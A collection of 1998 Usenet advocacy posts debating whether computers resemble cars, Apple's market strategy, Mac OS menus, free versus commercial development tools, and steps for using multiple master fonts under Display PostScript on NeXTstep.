> works, that's being able to superficially describe what's happening
> according to what you have been told. That's knowing little and saying lot.
I'm not sure what you're trying to say. The comparison between computers
and cars can be disproved by someone with exactly the kind of "know it
all jerk" experience you've described. Computers are very easy to build
and operate, and they have thousands of other properties which
distinguish them from automobiles. You have of course picked on the
technical aspects, which is fine. The comparison fails on any ground.
> What he was talking about was each and every chip in the computer, and
> the boards, the power supply, the media and the media readers, etc.
Why do these matter? I have an ATX power supply with 250 watt output.
That's all I need to know. I have an ATX case. I have an ATX
motherboard. I have a Pentium II 333 CPU. I have a Pentium II CPU fan. I
have a SCSI card. I have a SCSI disk. I have a sound card. I have
multimedia speakers. I have a VGA monitor. I have a serial external
modem. I have an ATAPI CD-ROM.
Why do I care about the individual properties of any of these things? I
can put them all together and have a working computer.
By contrast, you cannot hand me thousands of distinct and totally
individual car parts (which is how they are packaged before assembly)
and ask me to build a Chevy S-10. You cannot ask me to sell one. You
cannot ask me to advertise one. Computers are not like automobiles.
I once worked for a company in New York that built automobile parts for
Borg-Warner. They come off of a 500-ton press as folded, punched,
stamped metal. They are shipped to an assembly plant in Detroit where
hundreds of robots and manual workers assemble them -- with thousands of
other parts -- into a complete automobile with strict standards of
detail and accuracy. If a part does not fit because of a
100th-of-an-inch defect, Borg-Warner is very upset with Acro
Manufacturing and will not give Acro the industry awards that Acro has
been winning for years.
> You
> can't know how all these things work without at least 20 years of study,
> just that they do.
Baloney. I would be failing classes if I could not learn these things in
a single semester.
> Same thing with a car... the guy who made the air
> conditioner for it has no clue how the fuel injection system works, and
> s/he's as close as you can get to an expert. Ergo, the same deal.
No, these things are designed by engineers and the instructions are
passed out to various contractors who build the parts according to their
own expertises. They parts are joined together at an automobile assembly
plant.
By contrast, anyone with simple knowledge of various computer parts can
assemble a machine from separately-packaged, *retail-available* parts
like CD-ROMs and hard disks. I built IBM PCs in junior high school. I
quit because there were hundreds of people my age who could do it better
than I.
> If you want to prove me wrong, why don't you explain how the motherboard
> works in *detail*, including chip serial numbers, machine level coding,
> signal descriptions, bus operations, registers, modes, etc.
These are not part of the component-level problem for me. All I have to
know is that I have a motherboard with X simple properties and I can use
it. It doesn't matter who made it, it doesn't matter where I got it. By
contrast, you cannot interface a Chevy small-block V8 with a Ford Taurus
chassis without considerable modification. The Chevy engine is highly
specialized for the specific purpose of driving a Chevy Camaro for a
particular model-year.
MJP
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSX
Date: Mon, 07 Sep 1998 13:20:51 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0709981320520001@sdn-ar-002casbarp124.dialsprint.net>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <B2187B86-2132B9@153.36.240.74> <joe.ragosta-0609982205020001@elk66.dol.net> <macghod-0609982151450001@sdn-ar-001casbarp166.dialsprint.net> <tapella-0709981610060001@22w2-1.dyn.pasteur.fr>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <tapella-0709981610060001@22w2-1.dyn.pasteur.fr>,
tapella@pasteur.frANCE (Tapella) wrote:
> > Sure, but it doesnt mean it will work. If I dont like the menubar, I can
> > delete it. The os wont work tho. Next people might tell you a menu at
> > the top wastes screen space. Can you remove the menubar from the top of
> > the screen?
> >
>
> What would you do with a Mac with no menus? Would you want to remove the
> menu bars from each Windows window for example? Would you want to remove
> the ability to get popup menus in OPENSTEP? It doesn't make sense.
Its not that I want a mac with no menus, its that the top menubar takes up
valuable real estate. I would rather have menus on the side, like
openstep. I am sure their are one or two people in CSNA that would like
this with os x server or os x as well
PS: I changed the topic from oSUX
--
Just because you use a mac doesnt mean you have to lose all
semblance of reason and logic
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Tue, 08 Sep 1998 04:50:00 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35F4FDC8.27248CC9@nstar.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net> <35F3E549.54A3351E@rochester.rr.com>
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NNTP-Posting-Date: 7 Sep 1998 20:46:39 GMT
Scott Mathers wrote:
>
> Computers have a lot more than that. All those components are made up of
> parts. A video card isn't just a chunk of metal. Even memory modules are just
> that - a module of chips.
Right, and it comes packages on a small green board in groups of 16 or
so, wrapped in a pink electrostatic bag taped shut with a little white
sticker on it that says "PC-100 128MB". The last person who actually
touched the board was a factory engineer who oversaw its manufacture. It
comes to me as a complete package.
I open the bag and put it into a PC-100 capable DIMM slot. One of the
easiest computer upgrades known to man.
Have you ever replaced a car stereo? It is non-trivial. It requires
removing the entire faceplate on the dashboard on a 1986 Buick Century,
over twenty screws. Then you have to actually cut the wires leading to
the antenna, and using a special tool, you must remove 8 screws on the
mounting bracket before taking the radio out.
Now you need to put the new radio in. Splice the wires in and fit the
mounting bracket back together. Replace the dashboard. I have never seen
this described in an automobile manual (the one that comes in your
glove-box). I have never seen it described in anything less than a
Chilton's, specifically customized for each model-year of automobile. If
you do it yourself, chances are you will void the warranty on the radio,
perhaps on the automobile.
I can tell you over the phone in three short sentences how to replace a
CD-ROM, or an FM tuner card, more appropriately.
MJP
From: cquirke@iafrica.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 07 Sep 1998 17:54:22 GMT
Organization: UUNET Internet Africa
Message-ID: <35f41d8e.200337534@news.iafrica.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com> <gmgraves-2508981049050001@sf-usr1-60-188.dialup.slip.net> <6rvag9$51t$1@nnrp1.dejanews.com> <gmgraves-2608980958590001@sf-usr1-19-147.dialup.slip.net> <6s284a$k6t$1@nnrp1.dejanews.com> <gmgraves-2608982259140001@sf-pm5-8-72.dialup.slip.net> <6s3cgj$sc1$1@nnrp1.dejanews.com> <a_fraser-0709980109050001@port-35-38.access.one.net>
On Mon, 07 Sep 1998 01:09:05 -0400, a_fraser@one.net (Alan Fraser)
>Please keep this inane thread alive for as long as possible.
Heh... shades of "Win95 is a piece of shit! NOT REALLY" again!
That one ran for years!
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Tue, 08 Sep 1998 05:03:52 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35F50108.2663D036@nstar.net>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.4 <6s2nle$ek62@odie.mcleod.net> <6s4b24$4ht$1@inconnu.isu.edu> <6s5jh3$r0a$1@msunews.cl.msu.edu> <slrn6utnk4.a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35EEFBD2.24124D00@ericsson.com> <6sn26q$i33@news1.panix.com> <35F0113F.E73D5D21@ericsson.com> <6t150u$mfe@news1.panix.com>
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NNTP-Posting-Date: 7 Sep 1998 21:01:38 GMT
Sal Denaro wrote:
> Apple has to push an Apple solution. Period.
I don't know what this means, or what it has to do with the
conversation. I thought we were talking about custom solutions as
opposed to standardized configurations. Presumably Apple would be
selling Apple solutions, custom or no.
> If you are not pushing a customized product, then you are just a cloner
> and have to deal with the shrinking margins and little room to innovate.
Apparently, to you, the only "standard" product is a Wintel product.
Incidentally, I take issue with the statement that a "cloner" has little
room to innovate. After all, MacOS licensees were out-innovating Apple,
who supposedly had all the room to innovate.
> That is only because SGI (and Sun) are not providing enough incentive to
> go with thier proprietary product.
Or perhaps it's because the size of the graphics/workstation market has
grown to such a size that leveraging volume (economy of scale) has
greater price/performance advantages than the proprietary product.
Keep in mind that "custom" is not equivalent to "proprietary".
> Apple should not be in the business of building beige boxes with shrinking
> margins.
I never asked anyone to build beige boxes, and I never mandated any kind
of shrinking margins. In fact, writing software effectively can yield
any margins you like. Hardware has a fixed cost per unit; in many ways,
hardware margins are a solid, slowly-changing number. In recent days,
that number has been shrinking and will almost certainly shrink further.
By contrast, software can be written once and distributed at minimal
cost to any number of customers, yielding high margins if the market is
large enough. This is the ironic thing about your argument; you advocate
a continuance of Apple manufacturing on the basis of margins when those
margins cannot possibly hold up.
> No it is not. The last two quarters saw growth.
Was this year-over-year growth? I.e., were they growth with respect to
the same quarter last year?
> Not true. Both profits and margins have been growing this year.
What is the baseline? At any rate, Apple posted a profit during the
Amelio era. This was largely due to cutting costs, yet Amelio managed to
engineer most of the G3 line before he left, the very line that is
responsible for Apple's new growth.
> I wonder what your point is. Steve has gone software before. If that is
> what his plan is, he would be nuts to mention it now.
Why is that? NeXT turned to software to save the company from its dying
hardware line. You seem to have missed the parallel.
> Keep in mind what Steve Jobs said in Wired magazine. "Milk the Mac for
> all it's worth, then move on to the next big thing"
Some of us never forgot.
> I don't follow your point here. How is Sun's hardware selling software?
Sun's hardware sales are funding development of platform-agnostic
software technologies.
> Apple is using QT on Win (and YellowBox and WO and ColorSync) in the
> same way SGI uses OpenGL and Sun uses Java. I don't see how Sun and SGI
> are leveraging their hardware to increase software sales, but I do see
> how they are using software to sell hardware (and/or Brand)
Everyone loves the QuickTime example, rightly so. It is the only thing
Apple does sensibly.
> Apple is not a software company or a hardware company, they are a systems
> company.
Look around. The "systems" companies of the 80s are almost all gone, or
have marginalized the "systems" markets. I have already mentioned many
of these companies in this thread.
> The Mac isn't software running on custom hardware, or custom
> software running on hardware; it is custom software running on custom
> hardware. It is a "Brand".
It is an expensive brand, one which most customers will not pay for, and
which will eventually sink Apple.
MJP
From: jch@cube.philosophy.pitt.edu (John Haugeland)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Adobe K2: Where's the Yellow Box?
Date: 7 Sep 1998 21:01:44 GMT
Organization: University of Pittsburgh
Message-ID: <6t1hjo$f29$1@usenet01.srv.cis.pitt.edu>
References: <6t00cr$oct$1@oak.prod.itd.earthlink.net> <1998090714172800.KAA18110@ladder03.news.aol.com>
WillAdams <willadams@aol.com> wrote:
[snip lots of good stuff]
>Just out of curiousity--anyone know how far Adobe got in implementing multiple
>master fonts under Display PostScript?
I'm not entirely sure what your question is, but MM fonts work just fine
under DPS -- they're just postscript programs, after all (like any type-1
font). It's fairly funky to do well under NeXTstep because ATM Deluxe
isn't there; but this isn't a problem with DPS.
In case anybody's interested, here's a quick summary of what I've done
that works:
1. Create the instances you want on a system that ATM Deluxe supports
(I used Win-95 -- ugh).
2. Convert the resulting .pfb files to .pfa files (these are the font
outline files). This may not even be necessary, but it's easy (there
are several utilities that do it, some free).
3. Change the name of the file (and the font name entry inside it) to
the real name (not those horrible Windows names).
4. Use the free utility pfa2afm (or whatever exactly it's called -- I'm
working from memory here) to create a _partial_ .afm (font metric)
file, and rename it appropriately (including inside the file). This
gets you correct bounding boxes and character widths, but no kerning
pairs. (Note: this utility is itself just a postscript program that
reads the relevant information out of the outline (.pfa) file that
you've already created. It itself _runs_ under DPS, and outputs to
the console; so you have to cut and paste that output to a new file.)
5. Use the relevant Y&Y utility to convert the .pfm (font metric) file
that ATM created for Windows to use into a .afm file, being sure to
specify that it use the NeXT character encoding. This will give you
a "complete" .afm file, which might actually be usable as it stands
(suitably renamed, etc.), but I didn't try that. The problem is that
.pfm files don't contain all the information that .afm files do --
in particular, bounding boxes. But, it does have all the correct
kerning pairs -- so I used (and recommend) the next step. (#6 below)
By the way, the Y&Y utilities are commercial software -- you get
a _lot_ of font manipulation utilities (of excellent quality) for
(when I last looked) $99. The unfortunate thing about them is that
they run only under DOS (command line -- but they accept wildcards).
6. So, what I then did is cut the kerning pair info out of the Y&Y
created .afm files and paste them into the pfa2afm-created .afm
files. This results in a complete and proper .afm file (apart, I
guess, from whatever crucial details I may at the moment be
forgetting -- sigh).
7. Finally, for use on the NeXT, you have to strip any CR characters
and trailing spaces from this final .afm file (this is for the
benefit of NeXT's buildafmdir utility, which allows apps to list
the fonts in their font lists -- it doesn't matter to DPS itself).
And, then, you have to put the .pfa file (_without_ the '.pfa'
filename extension) and the matched .afm file (_with_ the '.afm'
extension) into a directory with the same name (_with_ a '.font'
extension) and then move (or link) that directory into either
/LocalLibrary/Fonts/ or ~/Library/Fonts/ .
Assuming I haven't forgotten anything, that works like a charm -- with
the following funky caveat: MM fonts redefine the findfont function in
postscript (i.e., DPS). The new definition still works fine with all
your older fonts, but the MM fonts will mess up the window server (or
DPS itself) if you (or an app) try to _use_ an MM font without
_running_ the font itself first. (Remember: a type-1 font is just a
postscript program, and DPS will _run_ it -- producing no output, as it
happens -- if you submit it.) I can't remember whether you have to log
out and restart the window server when this happens, or what. Anyway,
all you have to do to _run_ a font is take the .pfa file for one of your
MM fonts, give it a '.ps' extension and double click it. This will bring
up Preview.app, which will run the program (the font file), giving you
a blank sheet of paper in its window (because there's no actual output).
Then you can quit Preview if you want -- findfont is now redefined until
you next login (or reboot -- I'm not sure which). By the way, if you
have various MM fonts, do this step with you newest -- the findfont
redefinition has gotten more elaborate over the years (the newest ones
are backwards compatible, but not vice versa).
I admit that this is all rather tedious -- especially if (like me) you
want to have a lot of MM instances ready for use. But I repeat, the
difficulties do not have anything to do with DPS itself -- anything
that will run on a postscript printer will run fine on DPS. The
difficulties stem from the fact that ATM is not available for NeXTstep.
Actually, some enterprising soul could automate the process if he/she
got algorithms to parse the relevant files -- but it's not going to
be me.
Don't ask how long it took me to figure all this out -- just DON'T!
I love NeXTstep, DPS, and MM fonts. After I got it working, and looked
back, it was worth it. But along the way ...
John
Message-ID: <35F44BCB.188@ieighty.net>
Date: Mon, 07 Sep 1998 15:10:35 -0600
From: Legacy 'Xunker' <legacy@ieighty.net>
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Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com>
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Stephen Rea wrote:
>
> In article <35D8C744.5F35DF26@ericsson.com>, Michael Peck
> <Michael.Peck@ericsson.com> wrote:
>
> > > Did you also build your own car? Was it easier than buying one
> > > pre-assembled?
> >
> > I was about to say, "A computer isn't really like a car at all", but
> > then I realized that some people actually disagree.
>
> Thousands of complicated parts doing ghod know what, and no one cares how
> they work, just that they do.
>
> Yep, sounds pretty simillar.
Going ont he car analogy, lets look at that.
People think computers are hard to use. But they don't think a car is
hard to use. If, for sake of argumant, people wanted a car to behave
like a computer, the general public would expect a car to:
Signal for you
Tell you where the nearest filling station was when you are out of
petrol
Change it's own oil
Pick up the kids from football practice without you being in said car.
steer for you.
...among other things. People don't complain that car are har to use,
because thats the way its always been. However they, mostly the 'older'
generation, complain that computers are more complicated because they're
a new thing, and people expect new things to be easier to use.
--
-LX "...after all, if this were hell, I'd be enjoying myself."
Date: Sat, 05 Sep 1998 06:57:33 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-0509980657340001@elk64.dol.net>
References: <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net> <6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com> <EyK67n.7DI@T-FCN.Net> <D31B50461F33C90C.B0C9BB4EF6A49007.725D4B0B54C08000@library-proxy.airnews.net> <EyMHA5.9At@T-FCN.Net> <35EC8621.A28FBDDA@ericsson.com>
In article <35EC8621.A28FBDDA@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> Maury Markowitz wrote:
>
> > Why exactly? Because lots of people are installing it? Doesn't that make
> > Win98 the obvious wave of the future?
>
> Yes, all of the above. Win98, WinNT, Linux, all of these operating
> systems -- and only these -- are gaining market share. They are all the
> wave of the future. Why is Apple trying to build a competitor instead of
> building on top of the competition?
Simple. If Apple tries to use NT, they'd go down in flames. You don't just
throw away all of your company's advantages and expect to compete. As just
another Wintel cloner, Apple would be dead in 6 months.
BTW, you might want to check your assumptions on market share. Mac OS
overall market share went up from Q4 1997 to Q1 1998. Q2 1998 was
essentially flat. With the iMac, Q3 1998 is almost surely going to be
higher and there's a good chance that Q4 1998 will be higher yet.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 5 Sep 1998 15:02:34 GMT
Organization: Primenet (602)416-7000
Message-ID: <6srjqa$n4s$1@nnrp02.primenet.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6s2nle$ek62@odie.mcleod.net> <6s4b24$4ht$1@inconnu.isu.edu> <6s5jh3$r0a$1@msunews.cl.msu.edu> <slrn6utnk4.a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<35EEFBD2.24124D00@ericsson.com> <6sn26q$i33@news1.panix.com> <35F0113F.E73D5D21@ericsson.com> <slrn6v0ci7.5l3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6spied$bkj$1@nnrp02.primenet.com> <stevehix-0409981627430001@192.168.1.10>
Steve Hix <stevehix@safemail.com> wrote:
: In article <6spied$bkj$1@nnrp02.primenet.com>, John Jensen
: <jjens@primenet.com> wrote:
: > I think the interesting thing is that Java helped keep Sun at the center
: > of the internet. If they stopped now, without making money on Java per
: > say, they would still be ahead. Java made Sun a creator of standards and
: > a force to be reconned with in the '90s, and not just a has-been
: > workstation company.
: "Just..."?
: If it is, everyone else in that region is in worse shape....
Just a few years ago NT Server had the momentum, and "everybody knew" that
UNIX workstations were on their way out. Sun's Java was the first
successful counter assault. Java helped not just Sun, but UNIX vendors in
general. IBM isn't dumb, they invested heavily in Java because it
presented a real, as well as a powerfully percieved alternative to
"Windows Everywhere(TM)".
I think the second successful counter assault against NT has come from the
UNIX user community in general, and Linux users in particular. They ask
"Where is the lower cost in NT Server? Our systems are cheaper because a)
they are cheaper and b) they work. How does an expensive system with an
extra year of post-install nightmare come out cheaper?"
The net result is that UNIX is gaining ground, and after two years of
hiding the UNIX in MacOS X, Apple may have to come back and say "wait a
minute, it's UNIX after all!".
John
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Tue, 8 Sep 1998 09:26:18 +1000
Organization: University of Queensland
Message-ID: <6t1pv4$mr8$1@bunyip.cc.uq.edu.au>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net> <6t01js$pdo$1@bunyip.cc.uq.edu.au> <35F4F71C.307FDC38@nstar.net>
Michael J. Peck <mjpeck@nstar.net> wrote in message
35F4F71C.307FDC38@nstar.net...
>Christopher Smith wrote:
>
>> That's just like saying a car has an engine, chassis, gearbox, steering
>> wheel, axle, tires, lights and windows. Hmm, 8 parts . . .
>
>Injectors, distributor, sparkplugs, head gasket, rear main seal, CV
>joints, CV boots, muffler, brakes, lights, electrical system, steering
>rack, speaker system, radio, fuse box, transmission lever, shocks,
>struts, coolant system, wipers, wiper pump, AC pump, oil pump, oil pan,
>oil filter, antenna, radiator, fan, air filter, timing belt...
CPU, CPU socket, south bridge, transistors, diodes, capacitors, fuses, PCI
slots, ISA slots, AGP slots, SIMM sockets, DIMM sockets, jumpers, DIP
switches, keyboard controller, voltage regulator(s), power connectors,
transformers, ribbon cable, drive heads, stepper motors, lasers, DACs,
amplifiers, 1/8" jacks, batteries, DIPs, resistors, serial ports, PS/2
ports, disk controllers, serial controllers, heatsinks, BIOSes...
>
>We're just getting started. Automobiles are incredibly complicated.
We're just getting started - not even getting into what's happening *inside*
any of the components yet.
>Besides, component count wasn't the basis of the original statement.
Obviously - but trying to say a car is made up of thousands of components
and a computer of ~10 is just plain stupid.
>
>> Computers _are_ thousands of complicated parts doing god knows what - are
>> you saying you know what every single IC in your case does ?
>
>Pretty much, yes. I'm not particularly familiar with my hard drive's
>ICs, but I'm pretty familiar with the general workings of the stepping
>motor, the read/write head, the platters, and the controlling
>electronics.
Ok, on the bottom of one of my hard disks there is a circuit board with
several ICs, various jumpers, diodes and other interesting looking bits of
electronix esotorica - sure it all comes from some factory somewhere
pre-assembled, but that doesn't change the fact it was at some stage in
components form. I'm sure you can obtain just an engine on its own as well,
but would you call an "engine" a single component of a car ?
>
>> >Speakers, scanner, printer, microphone, NIC, and Zip drive are optional.
>>
>> So are things like auto transmissions, climate control and stereos.
>
>Good comparison. For one, optional components on a car are
>dealer-installed and normally come in pre-configured packages. For
>another, the sale of these options is almost exclusively performed at
>during the sale of the automobile. Automobiles are not like computers.
Some optional components on a car are best dealer-installed, just like on
computers. Some are quite easily installed in cars as well (stereos,
speakers, dodgy 3rd party cruise controls), just like they are in computers.
A _computer_ is a very complicated piece of equipment made up of thousands
of various components many of which work together because of luck rather
than any special amount of skill or standards. So is a TV, a VCR and a
Microwave oven. So is a car. Computers have not yet reached the stage of
being foolproof and simple for anyone to use - but then again neither have
TVs, VCRs and Microwaves. You need a license and some basic training to use
a car, maybe if people had to get a license and/or some basic training
before they got a computer there would be less calls to tech support about
things like broken cup holders :).
>
>MJP
From: no-spam@one.net (MojiDoji)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <no-spam-0509981559360001@10.0.1.99>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <christian.bau-0209981357220001@christian-mac.isltd.insignia.com> <6sm7m1$p16$1@supernews.com> <6srcdn$2dl$1@nnrp1.dejanews.com> <35f54abf.2225065@news.alt.net>
Date: 5 Sep 1998 15:52:03 -0500
Organization: OneNet Communications News Hub
In article <35f54abf.2225065@news.alt.net>, antwun@yahoo.com (vapor) wrote:
> hughesojh@my-dejanews.com wrote:
>
> >Windoze user filth mentality:
> >
> >"If the computer does something dumb, why it must be MY fault".
>
> Yes, 9 times out of 10 that's the case.
>
> >
> >A decent OS should work how you want it to.
>
> What OS offers the user more customization options?
> Linux would have to be number one because the source code is
> distributed with the OS. Win9x/NT would be second. Both allow the user
> to freely configure almost every aspect of the OS. MacOS doesn't even
> make the list as far as I'm concerned. You either do it Apples way or
> you can FOAD.
>
> >If it doesn't, then you should be able to change it.
>
> Tell that to Apple.
>
I agree, Win95/NT is far more configurable than MacOS. But I think OS/2
should be placed between Linux and Windows.
--
To reply, replace "no-spam" with "mottbi"
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Sat, 5 Sep 1998 14:53:16 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6ssbqi$6e9$1@nnrp4.snfc21.pbi.net>
References: <joe.ragosta-0209981709230001@wil78.dol.net> <B2132A13-45BC2@206.165.43.179> <EypqG4.4pI@T-FCN.Net> <6sn8a6$vae$1@nnrp1.snfc21.pbi.net> <EyrsDM.Hsp@T-FCN.Net>
Maury Markowitz wrote in message ...
>In <6sn8a6$vae$1@nnrp1.snfc21.pbi.net> "William Edward Woody" wrote:
>> The problem with using the GNU tools is twofold--first, it's a matter
>> of who supports the tools?
>
> A huge and increadible helpful community of GNU user - like the Linux
>people.
Hey, don't look at me; I just released a bunch of code under the
GNU banner. (http://www.pandawave.com/yaaf/)
The issues I raise are the issues I've heard both as a third-party
and have been asked of me about YAAF. (I've gone so far as to offer
to put on my "contractor" hat and provide paid support of the YAAF
library to proprietary development efforts.)
I am aware that the Linux community is a helpful bunch. But again,
the issue is not one of "well, just ask the folks in the Linux
community"--I have seen a number of lesser-known development efforts
go down the tubes because of a lack of interest in the freeware
community to support the tools.
Let's take YAAF for example. So far I have about 10 people who have
contacted me about YAAF in the last two months. Four of those
were from companies who essentially said "it appears YAAF does
what I want it to do--but our company needs a commitment in order
for us to adopt the technology. Can you assure us that either you
or the freeware community at large will support it?"
Suppose I decided not to support YAAF. What then? It's not like
Tcl or the Linux kernel or Perl--it's not like four thousand
folks use YAAF today for their application development. So in
short if I drop the YAAF ball, it will die.
And companies don't want to be caught "balls out" in that
situation.
Yes, the Linux community at large is a helpful bunch. But I have
seen things languish and die for a lack of interest. And I have
seen questions go unanswered on the various newsgroups--something
which a support contract would hopefully avoid.
>> I buy the upgrade for my Codewarrior product is for them to upgrade
>> their tools and fix bugs. In a sense I look at the payment to Metrowerks
>> as a form of "support contract". (And I switched from Think when it
>> seemed clear that Symantec's support of it's tools during the PowerPC
>> transition sucked compared to Metrowerks.)
>
> This goes directly to the whole issue of OpenSource though. You see the
>same argument over and over again, that because there's no real "head" of
the
>chain, then obviously the code won't get as many fixes or be as well
>supported.
That is not what I'm arguing. What I am arguing is that with a product
like CodeWarrior I *know* I talk to Metrowerks. With free software,
however, who do I contact? Will there be a new version? Will there
be bug fixes? Yes, Red Hat supports a lot of Linux development and
bug fixes--but what about the packages which are not supported by
Red Hat?
And for those who are just now starting to poke around YAAF, what if
I drop the ball and stop answering technical questions? Unless the
YAAF library gains a certain threshhold of interest in the community
at large, I am under no illusion that anyone out there will be able
to answer questions about the YAAF code if I stop answering them.
Some tools, such as Apache, Perl, the Gnu compilers, etc., have all
gained enough mindshare that there are folks out there who can help
with them. But this doesn't represent everything that has been put
out there under the GNU GPL or LGPL.
> In reality of course these arguments are not only baseless, but the exact
>opposite f reality. Currently the commercial vendors are the ones with all
>the problems with performance and bugs, while the public software is
>increadibly stable and and fast.
I see you have been reading too many Newsweek articles.
Right now Linux is incredibly stable. But it is stable because there are
literally thousands of folks poking around inside of Linux fixing bugs
and adding features. Good enough.
But if a tool (such as YAAF) hasn't gained that sort of mindshare, is
it less buggy and more stable and better documented?
No. In fact, when I posted YAAF, I posted it as _alpha_ quality software
because I know it has a lot of bugs I haven't found yet. It's a big
chunk of software, and I hope others will fix bugs that I can't catch.
But until that mindshare has been gained, and until more than a dozen
people have poked around inside the source base, I can't say that it's
a more stable product than a commercial portable C++ library.
> Compilers are a specific subset of this, because of some issue I don't
>understand about GCC. However egcs seems to be as good as anything
anywhere.
But there is the point behind the hype--until enough people (a) use
the freeware software to exercise the bugs, and (b) understand the
freeware source base enough to effectively fix the bugs, the type of
quality promises made by news.com and others about freeware software
just isn't going to happen.
The flip side with commercial software is that there is positive
incentive (money) to support the software. And so while you do still
have the problem of the company making enough money to justify continued
support of the product, you don't have to gain the sort of mindshare
amongst programmers in order to get them to fix the problems in the code.
I don't honestly know which is better. But I do know that free tools like
YAAF aren't going to do well unless a few hundred programmers get into
the source code.
>> The second problem is that while there are a lot of hard-core
>> hacker types who think the command-line interface is next to
>> godliness, I find hacking Makefiles distasteful. And so I prefer
>> the CW IDE over various GNU tools because the integrated
>> development environment is easier and faster for me to use
>> on 99.8% of my programming projects.
>
> Then it's clear you're in the same camp as Lawson.
*shrug*
What's important is that there are other programmers out there
who feel the same way as I do. Otherwise, why does the CW IDE
do so well when MPW is a viable command line alternative?
>> So the reason why I believe in this case that Larson is
>> correct is because people won't switch to the GNU tools if
>> they have a friendlier and better supported toolset.
>
> Like YB and the OpenStep development platform. Which is untouchable. It
